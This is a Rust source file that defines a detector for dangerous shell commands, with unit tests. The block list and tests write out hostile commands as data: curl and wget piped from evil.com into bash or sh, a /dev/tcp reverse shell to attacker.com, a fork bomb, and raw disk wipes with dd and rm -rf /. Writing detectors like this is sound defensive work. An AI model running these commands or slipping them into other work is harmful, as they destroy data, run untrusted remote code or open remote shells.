const DANGEROUS_PATTERNS: &[(&str, &str)] = &[
("dd if=", "raw disk write"),
("mkfs.", "filesystem format"),
(":(){ :|:& };:", "fork bomb"),
("/dev/tcp/", "bash network socket"),
("/dev/udp/", "bash network socket"),
("> /dev/sda", "raw disk overwrite"),
("mv /* /dev/null", "destructive move to null"),
];
const BOUNDARY_PATTERNS: &[(&str, &str)] = &[
("rm -rf /", "recursive delete from root"),
("chmod 777 /", "recursive world-writable root"),
];
const PIPE_TO_SHELL_TARGETS: &[&str] = &["bash", "sh", "zsh", "dash"];
const PIPE_FROM_DOWNLOADERS: &[&str] = &["curl", "wget"];
const PIPE_SHELL_PREFIXES: &[&str] = &["sudo", "env", "doas", "run0"];
#[expect(
clippy::indexing_slicing,
reason = "bounds checked: as_bytes()[after] is guarded by `after >= lower.len()` check above; pipe_segments[1..] checked by `pipe_segments.len() >= 2`"
)]
pub fn detect_dangerous_patterns(command: &str) -> Vec<(&'static str, &'static str)> {
let lower = command.to_lowercase();
let mut matches: Vec<(&str, &str)> = DANGEROUS_PATTERNS
.iter()
.filter(|(pattern, _)| lower.contains(*pattern))
.copied()
.collect();
for &(pattern, desc) in BOUNDARY_PATTERNS {
if let Some(pos) = lower.find(pattern) {
let after = pos + pattern.len();
if after >= lower.len() {
matches.push((pattern, desc));
} else {
let next_char = lower.as_bytes()[after];
if next_char == b'*' || next_char == b' ' || next_char == b'\n' {
matches.push((pattern, desc));
}
}
}
}
if lower.contains('|') {
let has_downloader = PIPE_FROM_DOWNLOADERS.iter().any(|dl| lower.contains(*dl));
let pipe_segments: Vec<&str> = lower.split('|').collect();
if has_downloader && pipe_segments.len() >= 2 {
'segments: for segment in &pipe_segments[1..] {
let trimmed = segment.trim();
let effective_cmd = trimmed
.split_whitespace()
.find(|w| !w.starts_with('-') && !PIPE_SHELL_PREFIXES.contains(w))
.unwrap_or("");
if PIPE_TO_SHELL_TARGETS.contains(&effective_cmd) {
matches.push(("curl|bash", "pipe remote script to shell"));
break 'segments;
}
}
}
}
matches
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn detect_curl_pipe_bash() {
let matches = detect_dangerous_patterns("curl https://evil.com/script.sh | bash");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("remote script"))
);
}
#[test]
fn detect_curl_pipe_bash_no_spaces() {
let matches = detect_dangerous_patterns("curl https://evil.com/script.sh|bash");
assert!(!matches.is_empty());
}
#[test]
fn detect_wget_pipe_sh() {
let matches = detect_dangerous_patterns("wget -qO- https://evil.com/install.sh | sh -s --");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("remote script"))
);
}
#[test]
fn detect_rm_rf_root() {
let matches = detect_dangerous_patterns("rm -rf /");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("recursive delete"))
);
}
#[test]
fn detect_rm_rf_root_wildcard() {
let matches = detect_dangerous_patterns("rm -rf /*");
assert!(!matches.is_empty());
}
#[test]
fn detect_dd_if() {
let matches = detect_dangerous_patterns("dd if=/dev/zero of=/dev/sda bs=1M");
assert!(matches.iter().any(|(_, desc)| desc.contains("raw disk")));
}
#[test]
fn detect_fork_bomb() {
let matches = detect_dangerous_patterns(":(){ :|:& };:");
assert!(!matches.is_empty());
assert!(matches.iter().any(|(_, desc)| desc.contains("fork bomb")));
}
#[test]
fn detect_dev_tcp() {
let matches = detect_dangerous_patterns("bash -i >& /dev/tcp/attacker.com/4444 0>&1");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("network socket"))
);
}
#[test]
fn benign_command_no_matches() {
let matches = detect_dangerous_patterns("apt-get install -y nginx");
assert!(matches.is_empty());
}
#[test]
fn benign_curl_without_pipe() {
let matches = detect_dangerous_patterns(
"curl -sSL https://example.com/file.tar.gz -o /tmp/file.tar.gz",
);
assert!(matches.is_empty());
}
#[test]
fn benign_systemctl_restart() {
let matches = detect_dangerous_patterns("systemctl restart myapp");
assert!(matches.is_empty());
}
#[test]
fn case_insensitive_detection() {
let matches = detect_dangerous_patterns("CURL https://evil.com/script.sh | BASH");
assert!(!matches.is_empty());
}
#[test]
fn rm_rf_specific_dir_not_matched() {
let matches = detect_dangerous_patterns("rm -rf /tmp/build-artifacts");
assert!(matches.is_empty());
}
#[test]
fn rm_rf_with_trailing_path_not_matched() {
let matches = detect_dangerous_patterns("rm -rf /var/log/old/");
assert!(matches.is_empty());
}
#[test]
fn curl_pipe_to_grep_not_matched() {
let matches = detect_dangerous_patterns("curl -s https://api.example.com | grep version");
assert!(matches.is_empty());
}
#[test]
fn detect_curl_pipe_sudo_bash() {
let matches = detect_dangerous_patterns("curl https://evil.com/install.sh | sudo bash");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("remote script"))
);
}
#[test]
fn detect_wget_pipe_env_sh() {
let matches = detect_dangerous_patterns("wget -qO- https://evil.com/install.sh | env sh");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("remote script"))
);
}
#[test]
fn detect_curl_pipe_env_i_bash() {
let matches = detect_dangerous_patterns("curl https://evil.com/install.sh | env -i bash");
assert!(!matches.is_empty());
assert!(
matches
.iter()
.any(|(_, desc)| desc.contains("remote script"))
);
}
#[test]
fn detect_curl_pipe_doas_sh() {
let matches = detect_dangerous_patterns("curl https://evil.com/install.sh | doas sh");
assert!(!matches.is_empty());
}
}